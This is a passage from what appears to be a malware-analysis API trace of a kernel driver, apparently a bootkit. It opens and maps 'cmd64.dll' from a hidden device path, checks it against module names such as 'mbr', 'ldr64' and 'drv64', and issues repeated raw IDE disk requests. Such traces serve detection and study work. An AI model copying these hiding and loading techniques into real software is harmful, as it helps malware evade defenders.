PROCESS=0xfffffa80036afb30, ApcState=0xfffff88002f9da58) [0081.989] _snwprintf (in: _Dest=0xfffffa80036b399c, _Count=0x103, _Format="%s\\%S" | out: _Dest="\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 35 [0081.990] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9da38, SourceString="\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cmd64.dll") [0081.990] ZwOpenFile (in: FileHandle=0xfffff88002f9d9e8, DesiredAccess=0x100001, ObjectAttributes=0xfffff88002f9da08*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cmd64.dll" (normalized: "\\device\\000001a9\\0d24eb7c\\cmd64.dll"), Attributes=0x240, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9da48, ShareAccess=0x1, OpenOptions=0x20 | out: FileHandle=0xfffff88002f9d9e8*=0xffffffff80000418, IoStatusBlock=0xfffff88002f9da48) returned 0x0 [0081.990] _snprintf (in: _Dest=0xfffff88002f9d150, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0081.990] KeEnterCriticalRegion () [0081.990] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.990] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.990] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.990] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.990] KeInitializeEvent (in: Event=0xfffff88002f9cfc0, Type=0x0, State=0 | out: Event=0xfffff88002f9cfc0) [0081.990] IdePortDispatch () returned 0x103 [0081.990] KeWaitForMutexObject () returned 0x0 [0081.990] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0081.990] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0081.990] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0081.990] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0081.990] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0081.990] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0081.990] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0081.990] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0081.990] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0081.990] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0081.990] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80036b3500 [0081.990] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.990] KeLeaveCriticalRegion () [0081.990] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.990] ZwCreateSection (in: SectionHandle=0xfffff88002f9d9e0, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0xffffffff80000418 | out: SectionHandle=0xfffff88002f9d9e0*=0x14) returned 0x0 [0081.990] _snprintf (in: _Dest=0xfffff88002f9d260, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0081.990] KeEnterCriticalRegion () [0081.990] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.990] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.990] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.990] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.990] KeInitializeEvent (in: Event=0xfffff88002f9d0f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0f0) [0081.990] IdePortDispatch () returned 0x103 [0081.990] KeWaitForMutexObject () returned 0x0 [0081.991] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0081.991] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0081.991] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0081.991] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0081.991] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0081.991] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0081.991] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0081.991] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0081.991] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0081.991] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.991] KeLeaveCriticalRegion () [0081.991] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.991] ZwMapViewOfSection (in: SectionHandle=0x14, ProcessHandle=0xffffffff80000410, BaseAddress=0xfffff88002f9d9d0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0xfffff88002f9da00, InheritDisposition=0xfffff80000000002, AllocationType=0x100000, AccessProtection=0x2 | out: BaseAddress=0xfffff88002f9d9d0*=0x7fffffa0000, SectionOffset=0x0, ViewSize=0xfffff88002f9da00*=0x6000) returned 0x0 [0081.991] RtlImageNtHeader (BaseAddress=0x7fffffa0000) returned 0x7fffffa0040 [0081.991] _snprintf (in: _Dest=0xfffff88002f9d390, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0081.991] KeEnterCriticalRegion () [0081.991] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.991] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d95000 [0081.991] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.991] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.991] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.991] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.991] IdePortDispatch () returned 0x103 [0081.991] KeWaitForMutexObject () returned 0x0 [0081.991] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0081.991] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0081.991] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0081.991] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0081.992] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0081.992] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0081.992] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0081.992] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0081.992] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0081.992] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.992] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.992] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.992] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.992] IdePortDispatch () returned 0x103 [0081.992] KeWaitForMutexObject () returned 0x0 [0081.992] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.992] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.992] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.992] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.992] IdePortDispatch () returned 0x103 [0081.992] KeWaitForMutexObject () returned 0x0 [0081.992] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.992] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.992] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.992] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.992] IdePortDispatch () returned 0x103 [0081.992] KeWaitForMutexObject () returned 0x0 [0081.993] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.993] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.993] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.993] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.993] IdePortDispatch () returned 0x103 [0081.993] KeWaitForMutexObject () returned 0x0 [0081.993] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.993] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.993] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.993] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.993] IdePortDispatch () returned 0x103 [0081.993] KeWaitForMutexObject () returned 0x0 [0081.993] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.993] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.993] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.993] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.993] IdePortDispatch () returned 0x103 [0081.993] KeWaitForMutexObject () returned 0x0 [0081.993] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.993] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.993] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.993] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.993] IdePortDispatch () returned 0x103 [0081.994] KeWaitForMutexObject () returned 0x0 [0081.994] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.994] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.994] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.994] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.994] IdePortDispatch () returned 0x103 [0081.994] KeWaitForMutexObject () returned 0x0 [0081.994] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.994] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.994] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.994] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.994] IdePortDispatch () returned 0x103 [0081.994] KeWaitForMutexObject () returned 0x0 [0081.994] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.994] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.994] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.994] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.994] IdePortDispatch () returned 0x103 [0081.995] KeWaitForMutexObject () returned 0x0 [0081.995] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.995] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.995] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.995] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.995] IdePortDispatch () returned 0x103 [0081.995] KeWaitForMutexObject () returned 0x0 [0081.995] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.995] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.995] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.995] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.995] IdePortDispatch () returned 0x103 [0081.995] KeWaitForMutexObject () returned 0x0 [0081.995] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.995] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.995] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.995] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.995] IdePortDispatch () returned 0x103 [0081.995] KeWaitForMutexObject () returned 0x0 [0081.996] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.996] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.996] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.996] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.996] IdePortDispatch () returned 0x103 [0081.996] KeWaitForMutexObject () returned 0x0 [0081.996] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.996] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.996] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.996] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.996] IdePortDispatch () returned 0x103 [0081.996] KeWaitForMutexObject () returned 0x0 [0081.996] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.996] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.996] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.996] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.996] IdePortDispatch () returned 0x103 [0081.996] KeWaitForMutexObject () returned 0x0 [0081.997] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.997] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.997] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.997] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.997] IdePortDispatch () returned 0x103 [0081.997] KeWaitForMutexObject () returned 0x0 [0081.997] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.997] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.997] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.997] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.997] IdePortDispatch () returned 0x103 [0081.997] KeWaitForMutexObject () returned 0x0 [0081.997] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.997] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.997] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.997] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.997] IdePortDispatch () returned 0x103 [0081.997] KeWaitForMutexObject () returned 0x0 [0081.997] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.997] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.997] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.998] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.998] IdePortDispatch () returned 0x103 [0081.998] KeWaitForMutexObject () returned 0x0 [0081.998] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.998] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.998] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.998] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.998] IdePortDispatch () returned 0x103 [0081.998] KeWaitForMutexObject () returned 0x0 [0081.998] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.998] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.998] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.998] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.998] IdePortDispatch () returned 0x103 [0081.998] KeWaitForMutexObject () returned 0x0 [0081.998] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.998] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.998] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.998] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.998] IdePortDispatch () returned 0x103 [0081.999] KeWaitForMutexObject () returned 0x0 [0081.999] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.999] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.999] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.999] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.999] IdePortDispatch () returned 0x103 [0081.999] KeWaitForMutexObject () returned 0x0 [0081.999] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.999] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.999] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.999] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.999] IdePortDispatch () returned 0x103 [0081.999] KeWaitForMutexObject () returned 0x0 [0081.999] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.999] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.999] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.999] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0081.999] IdePortDispatch () returned 0x103 [0081.999] KeWaitForMutexObject () returned 0x0 [0082.000] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0082.000] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0082.000] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0082.000] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0082.000] IdePortDispatch () returned 0x103 [0082.000] KeWaitForMutexObject () returned 0x0 [0082.000] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0082.000] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0082.000] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0082.000] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0082.000] IdePortDispatch () returned 0x103 [0082.000] KeWaitForMutexObject () returned 0x0 [0082.000] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0082.000] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0082.000] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0082.000] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0082.000] IdePortDispatch () returned 0x103 [0082.000] KeWaitForMutexObject () 